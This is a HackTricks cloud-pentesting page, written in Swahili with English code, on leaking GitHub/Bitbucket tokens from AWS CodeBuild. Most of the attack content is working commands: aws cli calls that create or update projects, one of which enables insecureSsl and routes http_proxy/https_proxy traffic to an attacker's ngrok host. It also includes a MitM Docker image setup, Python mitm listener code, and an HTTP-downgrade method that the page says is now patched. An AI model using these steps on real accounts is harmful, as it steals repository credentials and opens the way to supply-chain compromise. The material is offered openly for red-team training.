AWS Codebuild - Token Leakage
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Recover Github/Bitbucket Configured Tokens
Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja:
aws codebuild list-source-credentials
Kupitia Picha ya Docker
Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza kuondoa hiyo ufikiaji (GH token au OAuth token) kwa kufanya Codebuild itumie picha maalum ya docker kuendesha ujenzi wa mradi.
Kwa kusudi hili unaweza kuunda mradi mpya wa Codebuild au kubadilisha mazingira ya moja iliyopo ili kuweka picha ya Docker.
Picha ya Docker unayoweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni picha ya Docker ya msingi sana ambayo itaweka mabadiliko ya env https_proxy
, http_proxy
na SSL_CERT_FILE
. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika https_proxy
na http_proxy
na kuamini SSL CERT iliyoonyeshwa katika SSL_CERT_FILE
.
- Unda & Pakia picha yako ya Docker MitM
- Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na ujenge picha ya docker.
- USIWEKE
http_proxy
ili usikamate maombi kwa kiungo cha metadata. - Unaweza kutumia
ngrok
kamangrok tcp 4444
kuweka proxy kwa mwenyeji wako - Mara tu unapokuwa na picha ya Docker iliyojengwa, pakia kwenye repo ya umma (Dockerhub, ECR...)
- Weka mazingira
- Unda mradi mpya wa Codebuild au badilisha mazingira ya moja iliyopo.
- Weka mradi kutumia picha ya Docker iliyozalishwa hapo awali
.png)
- Weka proxy ya MitM katika mwenyeji wako
- Kama ilivyoonyeshwa katika repo ya Github unaweza kutumia kitu kama:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
Toleo la mitmproxy lililotumika ni 9.0.1, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi.
- Kimbia ujenzi & kamata akreditivu
- Unaweza kuona token katika kichwa cha Authorization:
.png)
Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild miradi yana mipangilio inayoitwa insecureSsl
ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.
Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi bila kuangalia cheti kinachotolewa na jukwaa.
- Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama:
aws codebuild batch-get-projects --name <proj-name>
- Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi
insecureSsl
kuwaTrue
. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angaliainsecureSsl=True
mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya). - Zaidi ya hayo, ongeza pia mabadiliko ya mazingira http_proxy na https_proxy yanayoelekeza kwenye tcp ngrok yako kama:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Kisha,endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm katika bandari iliyoonyeshwa na mabadiliko ya proxy (http_proxy na https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Hatimaye, bonyeza Build the project, credentials zitatumwa kwa clear text (base64) kwenye bandari ya mitm:
 (1).png)
Kupitia protokali ya HTTP
[!TIP] > Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)
Mshambuliaji mwenye permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, token ya muda ya OAuth inayotumika kufikia msimbo.
- Mshambuliaji anaweza kuongeza mabadiliko ya mazingira http_proxy na https_proxy kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano
http://5.tcp.eu.ngrok.io:14972
).
.png)
.png)
- Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano:
http://github.com/carlospolop-forks/TestActions
- Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Kisha, bonyeza Build the project au anza ujenzi kutoka kwa mstari wa amri:
aws codebuild start-build --project-name <proj-name>
- Hatimaye, vithibitisho vitatumwa kwa maandishi wazi (base64) kwenye bandari ya mitm:
.png)
warning
Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.